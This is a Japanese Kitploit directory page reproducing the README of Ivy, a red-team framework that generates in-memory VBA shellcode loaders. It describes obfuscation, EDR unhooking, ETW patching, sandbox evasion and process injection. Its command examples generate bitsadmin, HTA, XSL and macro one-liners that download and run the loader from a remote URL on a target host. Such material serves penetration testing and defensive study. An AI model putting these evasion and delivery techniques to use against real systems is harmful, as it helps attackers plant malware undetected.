Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Ivy — Ivyは、任意のVBA(マクロ)ソースコードをメモリ上で直接実行するためのペイロード作成フレームワークです。Ivyのローダーは、VBAオブジェクト環境へのプログラムによるアクセスを利用して、シェルコードのロード、復号化、実行を行います。 | Kitploit
ツール/GitHubGitHub/optiv/ivy
ペイロード生成エクスプロイトシェルコードポストエクスプロイトペネトレーションテストレッドチーミングペイロード開発Archived
GitHuboptiv/ivy

Ivy

Ivyは、任意のVBA(マクロ)ソースコードをメモリ上で直接実行するためのペイロード作成フレームワークです。Ivyのローダーは、VBAオブジェクト環境へのプログラムによるアクセスを利用して、シェルコードのロード、復号化、実行を行います。

リポジトリを見る
7431293年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

このリポジトリはアーカイブされました

Ivyの最新バージョンを表示したり、問題を報告するには、https://github.com/Tylous/Ivy を参照してください。



詳細情報

このフレームワークで使用されている手法や、それに対する防御策について詳しく知りたい場合は、記事をご覧ください。

説明

Ivyは、任意のVBA(マクロ)ソースコードをメモリ内で実行するためのペイロード作成フレームワークです。Ivyのローダーは、VBAオブジェクト環境におけるプログラムによるアクセスを悪用して、シェルコードをロード、復号、実行します。この手法は、可能な限り真のファイルレスに近いものです。最近のファイルレス攻撃の多くは、何らかのファイルをディスクにドロップする必要があるため、標準的なシグネチャベースのVBAコード検出ルールをバイパスできます。一般的なVBAペイロードには以下の特徴があります。

  • マクロ有効Office文書内に存在する
  • これらのマクロ文書はディスク上に存在する

メモリ内でのみ実行されることで、これらの動作特性によりEDRによる検出が難しくなります。

IvyのローダーはRC4暗号化(AES暗号化は非常に肥大化し、VBAでの復号に時間がかかる)で暗号化され、その後個別の文字列に分割されます。これにより、サンドボックスがこれらの文字列を調査すべき暗号化文字列として認識するのを防ぎます。また、デコード機構がこれらのペイロードをゴミ文字以外の何かとして認識することも防ぎます。

Ivyのローダーは最初にレジストリクエストを実行し、「VBAプロジェクトオブジェクトモデルへのアクセスを信頼する」を有効にします。このレジストリキーの値はユーザーモードに保存され、ユーザーは昇格された権限を必要とせずに値を変更できます。レジストリ値は0から1に設定されます。レジストリキーが存在しない場合、Ivyは値「1」で作成します。この値を有効にすると、異なるプロセスからVBAオブジェクト環境へのプログラムによるアクセスが可能になります。

これが完了すると、ローダーは非表示のExcelプロセスを起動し、暗号化された文字列をVBA関数にロードします。これはActiveXを使用して、同じタスクを実行するGUIアクションをシミュレートすることによって行われます。これにより、実行を監視する従来の多くのコントロールをバイパスできます。その結果、復号関数とシェルコードは、あるメモリバッファから別のメモリバッファに移動され、ディスクに触れることはありません。最後に、ローダーはコマンドGUI呼び出しを使用してrun関数を実行します。これは、VBAのGUIパネルでマクロ実行ボタンをクリックする動作をシミュレートし、復号関数、続いてシェルコードの実際の実行を開始します。

重要

ターゲットエンドポイントにはMicrosoft Officeがインストールされ、アクティブ化されている必要があります。IvyはMicrosoft OfficeのVBA環境へのプログラムによるアクセスを悪用するためです。

EDRアンフックモード

これにより、Ivyは低レベルのシステムコールを使用して、直接メモリアドレスとレジスタ値を間接的に参照することにより、Windows関数WriteProcessMemoryの独自バージョンを構築できます。Ivyは、メモリ変更API関数を一切呼び出さずに、書き込み不可能なメモリ領域を上書きできます。これはWriteProcessMemoryの機能により可能です。この機能は、十分な権限(プロセスを所有しているため権限があります)があれば、書き込みのためにメモリ領域のアクセス許可を一時的に変更します。値を書き込み、元のアクセス許可を復元しますが、VirtualProtect関数を呼び出す代わりに、関連するシステムコール(NtProtectVirtualMemory)を自動的に呼び出します。

Ivyは独自のNtWriteVirtualMemoryバージョンを使用しません。これは、メモリ許可が一時的に変更されるプロセスが発生しないため、特定のメモリアドレスの保護が変更されず、実行が失敗するからです。これは、デバッガをより安定させるためにMicrosoftがリリースした「機能」です。デバッガはメモリをその場で変更したいため、複数のタスクを実行せずにセクションを変更できます。(詳細についてはdevblogs.microsoft.comを参照)

EDRが確認する一連のイベントを見てみましょう。

  • Ivyは、適切なレジストリ値を手動で設定するWriteProcessMemory関数を作成します。
  • この関数は、WriteProcessMemoryが格納されている正確なメモリアドレスを呼び出します(これは、kernel32.WriteProcessMemoryを呼び出すのではなく、レジスタRAXへの呼び出しのように見えます)。
  • つまり、すべての機能を利用しながら、WriteProcessMemoryを直接呼び出していないことになります。
  • EDRは、メモリアドレスに対する悪意のある指標に一致しないアセンブリの文字列のみを確認します。
  • このメモリアドレスは関数の開始アドレスになりますが、ASLRにより関数アドレスは一意であるため、すべての関数のルックアップを実行する必要があります。
  • Writeアクションが実行される前に、システムコールZWQueryVirtualMemoryが実行されて、メモリ領域の保護属性が確認されます。
  • このメモリが書き込み可能に設定されていない場合、NtProtectVirtualMemoryが呼び出されてアクセス許可が変更されます。
  • 次に、8バイトのアセンブリが特定のメモリアドレスに書き込まれます。
  • NtProtectVirtualMemoryが再度呼び出され、元の保護値が復元されます。

すべてのEDRフックが排除されると、ローダーは通常の動作を実行してリモートセッションを確立します。

Ivyは、EDRがフックする一般的なシステムDLLをアンフックすることでこれに対処します。これには以下が含まれます。

  • Ntdll.dll
  • Kernel32.dll
  • Kernelbase.dll
  • Advapi32.dll
  • Sechost.dll
  • Ws2_32.dll
  • Winmmbase.dll

ペイロードタイプ Inject で unhook を使用する場合、Ivyのローダーは最初にOfficeプロセスをアンフックしてEDRを除去し、次に注入先プロセス内のフックを削除します。これにより、両方のプロセスがフックフリーになり、親プロセスと子プロセスからのテレメトリがEDRに送信されるのを防ぎます。

ETWパッチ

同じアンフック手法を使用して、IvyはETW関数にパッチを適用し、プロセスからのイベント生成を防ぎます。ETWは組み込みのシステムコールを使用してこのテレメトリを生成します。ETWはWindowsに組み込まれたネイティブ機能であるため、セキュリティ製品は情報を取得するためにETWシステムコールを「フック」する必要はありません。その結果、ETWを防ぐために、Ivyは多数のETWシステムコールにパッチを適用し、レジスタをフラッシュして実行フローを次の命令に戻します。ETWパッチはすべてのローダーでデフォルトになりました。ローダーでETWをパッチしたくない場合は、コマンドラインオプション -noetw を使用して無効にしてください。

デモ

インストール

IvyはGoで開発されました。

最初のステップは、いつものようにリポジトリをクローンすることです。Ivyをコンパイルする前に、依存関係をインストールする必要があります。 インストールするには、次のコマンドを実行します。

root@kitploit:~
go get github.com/fatih/color
go get github.com/KyleBanks/XOREncryption/Go

次にビルドします。

root@kitploit:~
go build Ivy.go

ヘルプ

root@kitploit:~
$ ./Ivy -h

     ___   ___      ___  ___    ___
    |\  \ |\  \    /  /||\  \  /  /|
    \ \  \\ \  \  /  / /\ \  \/  / /
     \ \  \\ \  \/  / /  \ \    / /
      \ \  \\ \    / /    \/  /  /
       \ \__\\ \__/ /   __/  / /
        \|__| \|__|/   |\___/ /
                       \|___|/
                       (@Tyl0us)
The suffering. The pain. Can't you hear them?
Their cries for mercy?

Usage of ./Ivy:
    -Ix64 string
    	Path to the x64 payload
  -Ix86 string
    	Path to the x86 payload
  -O string
    	Name of output file
  -P string
    	Payload type "Inject" (Which performs a process injection) or "Local" (Which loads the payload directly into the current process)
  -debug
    	Print debug statements
  -delivery string
    	Generates an one-liner command to download and execute the payload remotely:
    	[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
    	[*] hta - Generates a blank hta file containing the loader along with a one liner command execute the loader remotely.
    	[*] macro - Generates an office macro that would download and execute a the loader remotely.
    	[*] xsl - Generates a xsl stylesheet file containing the loader along with a one liner command execute the loader remotely.
  -process32 string
    	The full path to the x86 application to spawn. Only use applications that are found in System32 & SYSWOW64 (default is rundll32.exe)
  -process64 string
    	The full path to the x64 application to spawn. Please  specify the path to the process to create/inject into (use \ for the path) (default is explorer.exe)
  -product string
    	Name of the office product to use (Excel, Word, PowerPoint) (default "Excel")
  -sandbox
    	Enable sandbox evasion controls (i.e. checks if the system is domain joined)
  -stageless
    	Enables stageless payload. When this option is enabled use a raw payload (aka .bin files) instead of .c code
  -unhook
    	Unhooks EDR's hooks before loading payload
  -url string
    	URL assoicated with the Delivery option to retrieve the payload. (e.g https://acme.com/)

ローダーの生成

Ivyでローダーを生成する場合、64ビットと32ビットのペイロードを生成し、コマンドライン引数 -Ix64 と -Ix86 で入力する必要があります。これは、オペレーティングシステムが64ビットでも、実行中のOfficeのバージョンが実際には32ビットである可能性があるためです。その結果、Ivyはペイロードを注入する前に適切なアーキテクチャを検出します。

また、ローダーを生成する際には2つのペイロードタイプがあります。1つ目は Inject で、新しいプロセスを中断状態で生成し、シェルコードをプロセスに注入してから再開するプロセスインジェクション攻撃を実行します。プロセスインジェクションは便利で、Excel以外のプロセスを生成できますが、EDRは中断状態のプロセスを作成して注入する動作を検出するのが非常に得意であり、これにより捕まる可能性があります。よりステルス性の高いオプションは Local です。これはシェルコードを現在のOfficeプロセスに直接ロードします。Local オプションには、検出を回避するための追加機能もあり、一部のWindowsシステムコールへの直接呼び出しを利用します。これは、VBA環境がスタックに基づいて(事前にすべての正しいレジスタを整列させていれば)正確な関数を定義して呼び出すことを可能にするためです。最後に、このペイロードタイプのIvyのローダーには、シェルコードを実行するための文書化されていない呼び出しがあり、実行の検出をより困難にしています。

インジェクションプロセス

Inject モードでは、Ivyはシェルコードを注入するために中断状態のプロセスを作成します。32ビットか64ビットのシステムかに応じて異なるプロセスが生成されます。Ivyにはデフォルトのプロセス名がいくつか付属していますが、process32 または process64 フラグを使用して変更できます。パスを指定する際は、パスに \\ を使用してください。

ステージドvsステージレスシェルコード

まず第一に、常に -stageless 引数を使用するべきです。ただし、ステージドペイロードを実行する必要がある場合は、-stageless 引数を使用せずに行うことができます。-stageless を使用する場合、生のシェルコード(.binファイル)を使用できますが、ステージドペイロードを実行する場合は、Inject ペイロードタイプではシェルコードがVBA形式である必要があり、Local タイプではシェルコードがC形式である必要があることに注意してください。

配信

配信コマンドライン引数を使用すると、リモートソースから被害者のホストにファイルをリモートでプルするためのコマンドまたはコード文字列(マクロの場合)を生成できます。これらの配信方法には以下が含まれます。

  • Bits – Bitsadminコマンドを生成し、ローダーをリモートでダウンロード、実行、削除します。
  • HTA – ローダーを含む空のHTAファイルを生成します。このオプションは、HTAをバックグラウンドでリモート実行するコマンドラインも提供します。
  • Macro – ExcelまたはWordのマクロ文書に配置できるOfficeマクロを生成します。このマクロが実行されると、ローダーがリモートソースからダウンロードされ、実行され、削除されます。
  • XSL – ローダーを含むxslスタイルシートファイルを生成し、ローダーをリモートで実行するワンライナーコマンドを提供します。

例

ステージドInjectペイロード

root@kitploit:~
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js

ステージドLocalペイロード

root@kitploit:~
./Ivy -Ix64 test64.c -Ix86 test32.c -P Local -O SampleLocal.js

ステージレスLocalペイロード

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js

ステージレスInjectペイロード

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O stageless.js

ステージレスInjectペイロード(notepad.exeを起動)

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js

アンフックされたステージレスLocalペイロード

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -unhook -O stageless.js

アンフックされたステージレスInjectペイロード

root@kitploit:~
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -unhook -O stageless.js

ワンライナーコマンドのサンプル

実行可能でないファイルタイプ

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless

Bitsadminコマンド

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ACME.com -delivery bits -stageless

MSHTA.exeコマンド

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ACME.com -delivery hta -stageless

スタイルシートペイロード

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ACME.com -delivery xsl -stageless

マクロWebダウンローダー

root@kitploit:~
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.txt -url http://ACME.com/test.txt -delivery macro -stageless

既知の問題

現在、リモート注入プロセスのアンフックに関する既知の問題があります。当面の回避策として、unhook BOFをロードしてください。

ツールをダウンロード